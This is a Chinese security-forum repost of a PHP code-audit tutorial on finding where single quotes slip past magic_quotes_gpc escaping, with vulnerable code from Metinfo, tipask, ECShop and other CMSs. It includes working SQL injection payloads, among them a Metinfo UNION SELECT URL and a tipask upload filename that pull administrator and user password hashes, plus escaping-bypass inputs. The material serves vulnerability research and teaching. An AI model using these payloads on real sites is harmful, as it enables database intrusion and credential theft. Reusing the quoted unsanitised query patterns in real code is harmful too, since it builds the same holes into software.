搜索
查看: 1155|回复: 0

浅谈审计中如何快速定位引入单引号的地方

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-2-23 17:53:50 | 显示全部楼层 |阅读模式

在审计中如果能快速绕过限制或者快速定位到能引入单引号的地方,那么这个地方可能就是一个完美的注入,分享一下我自己目前想到的能引入单引号的情况和方法。

一、被GPC忽略的$_SERVER

关于GPC这个问题,不得不说$_SERVER,在GPC开启的情况下$_SERVER是不受GPC影响的。

$SERVER用来获取服务器和执行环境信息,如果我们能控制$_SERVER的内容,那么就可能引入一个单引号。

根据之前记录的文章,我找到了$_SERVER中的三个可控的地方,分别用审计实例演示一下:$_SERVER[‘SERVER_NAME‘]、 $_SERVER[‘HTTP_X_FORWARDED_FOR’]、$_SERVER[‘PHP_SELF’]

$_SERVER[‘SERVER_NAME‘] 在apache2 下 如果你没有设置ServerName或者没有把UseCanonicalName 设置为 On的话,这个值就会是客户端提供的hostname ,对于apache来说,它只取第一个host,但对于php来说,不管多少个,它全要了。

$_SERVER[‘SERVER_NAME‘] 审计实例:

在mlecms2.3中inc/lib/admin.lib.php

  1. public static function logs($type,$info){
  2.                 global $db,$admin_config,$gmt_time;
  3.                 if($admin_config['logs_open'] == 1){
  4.                         $sql = "INSERT INTO `{$db->prefix}logs` (`type`,`info`,`pageurl`,`lang`,`username`,`ip`,`ipaddress`,`addtime`) VALUES ('{$type}','{$info}','http://{$_SERVER['SERVER_NAME']}".substr(get_url(),0,200)."','".LANG."','{$_SESSION['admin']['login']['username']}','".get_ip()."','".ip::get_address(get_ip())."','".$gmt_time."');";
  5.                         $db->execute($sql);
  6.                 }
  7.         }
复制代码

可以看到$_SERVER[‘SERVER_NAME’]直接带入sql语句,虽然全局使用了GPC转义,但是$_SERVER并不受GPC限制,所以此处可直接注入

$_SERVER[‘HTTP_X_FORWARDED_FOR’]实例:

$_SERVER[‘HTTP_X_FORWARDED_FOR’]我找到了一款cms  Redlay-Social-Network   github下载地址https://github.com/JamesQuintero ... 1bddcf7b028f542626e

在page_login.php中

  1. if((!empty($_POST['email'])) && (!empty($_POST['password'])))
  2. {
  3.     //uses blowfish to hash the password for verification
  4.     //salt will be truncated if over 22 characters
  5.     $password=crypt($password, '$2a$07$27'.$email.'SECRET_SALT_STRING');
  6.    
  7.     //check previous logins
  8.     $valid=false;
  9.     $query=mysql_query("SELECT timestamps FROM page_login_attempts WHERE ip_address='".$_SERVER[HTTP_X_FORWARDED_FOR]."'");
复制代码

直接带入$_SERVER[HTTP_X_FORWARDED_FOR]造成sql注入

https://github.com/saatanaperkele/SUPER-DUPER-HACKED-TOGETHER-COPYPASTA-SHITFEST-PENIS/blob/937ae847f02655190a3b10a67e1be4e40a24c957/threadwatch.php 也同样存在这种情况

  1. if (isset($_GET['do'])) {
  2.         switch($_GET['do']) {
  3.         case 'addthread':
  4.                 $viewing_thread_is_watched = $tc_db->GetOne("SELECT COUNT(*) FROM `" . KU_DBPREFIX . "watchedthreads` WHERE `ip` = '" . $_SERVER['HTTP_X_FORWARDED_FOR'] . "' AND `board` = " . $tc_db->qstr($_GET['board']) . " AND `threadid` = " . $tc_db->qstr($_GET['threadid']) . "");
  5.                 if ($viewing_thread_is_watched == 0) {
  6.                         $newestreplyid = $tc_db->GetOne('SELECT `id` FROM `'.KU_DBPREFIX.'posts` WHERE `boardid` = ' . $boardid . ' AND `IS_DELETED` = 0 AND `parentid` = '.$tc_db->qstr($_GET['threadid']).' ORDER BY `id` DESC LIMIT 1');
  7.                         $newestreplyid = max(0, $newestreplyid);
  8.                         $tc_db->Execute("INSERT INTO `" . KU_DBPREFIX . "watchedthreads` ( `threadid` , `board` , `ip` , `lastsawreplyid` ) VALUES ( " . $tc_db->qstr($_GET['threadid']) . " , " . $tc_db->qstr($_GET['board']) . " , '" . $_SERVER['HTTP_X_FORWARDED_FOR'] . "' , " . $newestreplyid . " )");
  9.                         if (KU_APC) apc_delete('watchedthreads|' . $_SERVER['HTTP_X_FORWARDED_FOR'] . '|' . $_GET['board']);
  10.                 }
  11.                 break;
复制代码

$_SERVER[‘PHP_SELF’] 审计实例:

Metinfo的一个前台注入

system\include\compatible\metv5_top.php中

  1. php_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  2. $PHP_SELFs = explode('/', $PHP_SELF);
  3. $query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
  4. $column = DB::get_one($query);全局并没有过滤SERVER 但是PHP_SELF 其实是可以控制那么一小部分的。。$PHP_SELFs = explode('/', $PHP_SELF); 这里又切割成数组。$PHP_SELFs[count($PHP_SELFs)-2] 把这个带入了查询访问/member/login.php的时候 就会调用这个文件。
复制代码

http://www.am0s.com/metinfo/member/login.php/aa’UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),11113,11111,11111,11111,11111,11111,11111,11111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111%23/aa

二、$_FILES

之前文章中涉及过$_FILES,请移步copy()


$_FILES出现注入的情况应该是开发忽视的一个问题,在代码中只过滤了post和get方式,忽略了$_FILES,从而导致注入

审计实例:tipask

  1. <?php

  2. !defined('IN_TIPASK') && exit('Access Denied');

  3. class attachcontrol extends base {

  4.     function attachcontrol(& $get, & $post) {
  5.         $this->base(& $get, & $post);
  6.         $this->load('attach');
  7.     }

  8.     function onupload() {
  9. //上传配置
  10.         $config = array(
  11.             "uploadPath" => "data/attach/", //保存路径
  12.             "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
  13.             "fileSize" => 10 //文件大小限制,单位MB
  14.         );

  15. //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
  16.         $state = "SUCCESS";
  17.         $fileName = "";
  18.         $path = $config['uploadPath'];
  19.         $clientFile = $_FILES["upfile"];
  20.         if (!isset($clientFile)) {
  21.             echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
  22.             exit;
  23.         }

  24. //格式验证
  25.         $current_type = strtolower(strrchr($clientFile["name"], '.'));
  26.         if (!in_array($current_type, $config['fileType'])) {
  27.             $state = "不支持的文件类型!";
  28.         }
  29. //大小验证
  30.         $file_size = 1024 * 1024 * $config['fileSize'];
  31.         if ($clientFile["size"] > $file_size) {
  32.             $state = "文件大小超出限制!";
  33.         }
  34. //保存文件
  35.         if ($state == "SUCCESS") {
  36.             $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
  37.             $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
  38.             if (!$result) {
  39.                 $state = "文件保存失败!";
  40.             } else {
  41.                 $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
  42.             }
  43.         }
  44. //向浏览器返回数据json数据
  45.         echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"'.$clientFile["name"] .'"}';
  46.     }

  47.     function onuploadimage() {
  48.         //上传配置
  49.         $config = array(
  50.             "uploadPath" => "data/attach/", //保存路径
  51.             "fileType" => array(".gif", ".png", ".jpg", ".jpeg", ".bmp"),
  52.             "fileSize" => 2048
  53.         );
  54.         //原始文件名,表单名固定,不可配置
  55.         $oriName = htmlspecialchars($this->post['fileName'], ENT_QUOTES);

  56.         //上传图片框中的描述表单名称,
  57.         $title = htmlspecialchars($this->post['pictitle'], ENT_QUOTES);

  58.         //文件句柄
  59.         $file = $_FILES["upfile"];

  60.         //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜并显示在图片预览框,同时可以在前端页面通过回调函数获取对应字符窜
  61.         $state = "SUCCESS";
  62.         //格式验证
  63.         $current_type = strtolower(strrchr($file["name"], '.'));
  64.         if (!in_array($current_type, $config['fileType'])) {
  65.             $state = $current_type;
  66.         }
  67.         //大小验证
  68.         $file_size = 1024 * $config['fileSize'];
  69.         if ($file["size"] > $file_size) {
  70.             $state = "b";
  71.         }
  72.         //保存图片
  73.         if ($state == "SUCCESS") {
  74.             $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($file["name"], '.');
  75.             $result = $_ENV['attach']->movetmpfile($file, $targetfile);
  76.             if (!$result) {
  77.                 $state = "c";
  78.             } else {
  79.                 $_ENV['attach']->add($file["name"], $current_type, $file["size"], $targetfile);
  80.             }
  81.         }
  82.         echo "{'url':'" . $targetfile . "','title':'" . $title . "','original':'" . $oriName . "','state':'" . $state . "'}";
  83.     }

  84. }

  85. ?>
复制代码

在tipask中,对post个get进行了过滤,忽略了$_files,在文件上传后$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。

poc:filename=”1′,’.php’,1,(select concat(username,0x7e,password) from ask_user limit 1),2,1)”#.jpg

三、一些编码函数

这些函数应该都会被列入敏感函数的名单中,后续会更新文章

substr() 、stripslashes() 、urldecode() 、base64_decode() 、parse_str() 除此之外,可能还存在其他编码函数导致注入。想起一点写一点吧。

四、magic_quotes_gpc=Off时,addslashes的缺陷

很多程序在如magic_quotes_gpc=off下自己实现一个代码来模拟magic_quotes_gpc=on的情况. 如下面的一段代码:

  1. function daddslashes($string, $force = 0) {
  2.     !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
  3.     if(!MAGIC_QUOTES_GPC || $force) {
  4.         if(is_array($string)) {
  5.             foreach($string as $key => $val) {
  6.                 $string[$key] = daddslashes($val, $force);
  7.             }
  8.         } else {
  9.             $string = addslashes($string);
  10.         }
  11.     }
  12.     return $string;
  13. }
复制代码

利用addslashes()函数模拟了magic_quotes_gpc=on时的效果,看上去很完美,其实是有缺陷的或者说只是模拟了magic_quotes_gpc的部分功能.magic_quotes_gpc=on时不仅仅用addslashes处理了变量值,而且处理了变量名[既$_GET/$_POST等超全局变量的key,而前面那段模拟magic_quotes_gpc的代码仅仅处理了数组的值,因此是存在安全隐患的。

实例[ECShop SQL injection 漏洞分析]

文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():

  1. // includes/init.php
  2. if (!get_magic_quotes_gpc())
  3. {
  4.     if (!empty($_GET))
  5.     {
  6.         $_GET  = addslashes_deep($_GET);
  7.     }
  8.     if (!empty($_POST))
  9.     {
  10.         $_POST = addslashes_deep($_POST);
  11.     }

  12.     $_COOKIE   = addslashes_deep($_COOKIE);
  13.     $_REQUEST  = addslashes_deep($_REQUEST);
  14. }
复制代码

addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理

  1. // includes/lib_base.php
  2. function addslashes_deep($value)
  3. {
  4.     if (empty($value))
  5.     {
  6.         return $value;
  7.     }
  8.     else
  9.     {
  10.         return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
  11.     // 只处理了数组的值:)
  12.     }
  13. }
复制代码

下面看下具体的导致漏洞的代码,文件 pick_out.php里:

  1. // pick_out.php
  2. if (!empty($_GET['attr']))
  3. {
  4.     foreach($_GET['attr'] as $key => $value)
  5.     {
  6.         $key = intval($key);
  7.         $_GET['attr'][$key] = htmlspecialchars($value);
  8.         // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
  9.         // 因此可以引入任意的key:)
  10.         // 程序员的逻辑出了问题?
  11.     }
  12. }
  13. ...
  14.         foreach ($_GET['attr'] AS $key => $value)
  15.         {
  16.             $attr_url .= '&attr[' . $key . ']=' . $value;

  17.             $attr_picks[] = $key;
  18.             if ($i > 0)
  19.             {
  20.                 if (empty($goods_result))
  21.                 {
  22.                     break;
  23.                 }
  24.                 // 利用key进行注射:)
  25.                 $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
复制代码

由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞:)

五、str_replace绕过GPC的例子
  1. <?php
  2. $test=str_replace($_GET['a'],'',$_GET['b']);
  3. echo $test; ?>
复制代码

test.php?a=&b=%00′  =>\0\’

test.php?a=0&b=%00′  =>\\’ 成功使用反斜杠注释掉GPC添加的反斜杠,从而引入单引号。这个问题曾发生在echop的支付模块中

六、preg_replace

在法师博客看到的,法师没找到实例,我找了下也没有,看下理论吧,说不定会遇到


  1. <?php
  2. $test=0;
  3. extract($_GET);
  4. $test=preg_replace("/^(.*)(')/", "\\1\\\\'", $test);
  5. echo $test;
  6. ?>
复制代码

当提交

http://www.am0s.com/test/test.php?test=1%27      =>1\’

http://127.0.0.1/test/test.php?test=1%0d%0a%27  =>1′

原理是该正则过滤只是把匹配到的关键字进行过滤,如果匹配不到那么就无法过滤。 利用%0d%0a可绕过正则


from:http://www.am0s.com/codesec/229.html




过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表